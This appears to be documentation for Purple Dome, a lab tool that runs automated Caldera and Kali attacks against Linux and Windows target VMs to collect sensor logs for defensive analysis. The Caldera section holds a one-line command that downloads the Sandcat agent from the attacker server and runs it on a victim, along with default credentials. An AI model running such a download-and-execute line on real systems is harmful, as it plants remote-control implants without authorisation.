Basics
|
|
======
|
|
|
|
Purple Dome is a simulated and automated environment to play with several operating system attacking each other.
|
|
|
|
This tool generates an attacker VM and target VMs. Automated attacks are then run against the targets and they will log system events. Those logs will then be stored away for analysis.
|
|
|
|
Attacks are started from the attacker VM which is normally a Kali linux machine (with all the Kali tools) running a Caldera server for additional tooling.

Features
|
|
========
|
|
|
|
* Linux and Windows targets
|
|
* VM controller abstracted as plugins
|
|
* Local vagrant based (debug and development)
|
|
* Cloud based
|
|
* Caldera attacks
|
|
* Kali attack tools as plugins
|
|
* Data collection: Attack log and sensor data
|
|
* Vulnerability plugins: Modify the targets before the attack
|
|
|
|
Components
|
|
==========
|
|
|
|
You will interact with the command line tools. Those are described in the *CLI* chapter.
|
|
|
|
If you want to modify Purple Dome and contribute to it I can point you to the *Extending* chapter
|
|
|
|
On of the first things you will want to do is configuring the whole thing. Basically you have to touch two things: The configuration file must be modified (in YAML format). And you will also want to create some target VMs.
|
|
|
|
Vagrant makes it simple to create Linux targets. Windows targets (with some start configuration) are harder and have an own chapter.

Data aggregator
|
|
---------------
|
|
|
|
We currently can use IDP and logstash
|
|
|
|
There are several options for data aggregators:
|
|
|
|
* Fleet OSQuery aggregator: https://github.com/kolide/fleet
|
|
* The Hive
|
|
|
|
|
|
Sensors on Targets (most are Windows)
|
|
-------------------------------------
|
|
|
|
Those sensors are not integrated but could be nice to play with:
|
|
|
|
Palantir Windows Event forwarding: https://github.com/palantir/windows-event-forwarding
|
|
|
|
Autorun monitoring: https://github.com/palantir/windows-event-forwarding/tree/master/AutorunsToWinEventLog
|
|
|
|
Palantir OSquery: https://github.com/palantir/osquery-configuration
|
|
|
|
SwiftOnSecurity Sysmon config: https://github.com/SwiftOnSecurity/sysmon-config
|
|
|
|
|
|
Palantir OSQuery is mixed OS: Windows/Mac Endpoints, Linux Servers
|
|
|
|
|
|
Caldera
|
|
-------
|
|
|
|
Attack framework.
|
|
|
|
Starting: *python3 server.py --insecure*
|
|
|
|
Web UI on *http://localhost:8888/*
|
|
|
|
Credentials: *red/admin*
|
|
|
|
Documentation: Documentation: https://caldera.readthedocs.io/en/latest/
|
|
|
|
Installing client on victim (Linux):
|
|
|
|
server="http://192.168.178.45:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > sandcat.go;chmod +x sandcat.go;./sandcat.go -server $server -group red -v

Filebeat
|
|
--------
|
|
|
|
Filebeat has a set of modules:
|
|

|
Logstash
|
|
--------
|
|
|
|
Logstash uses all .conf files in /etc/logstash/conf.d
|

Alternative: The Hive
|
|
---------------------
|
|
|
|
Sander Spierenburg (SOC Teamlead) seems to be interested in The Hive. So it is back in the game
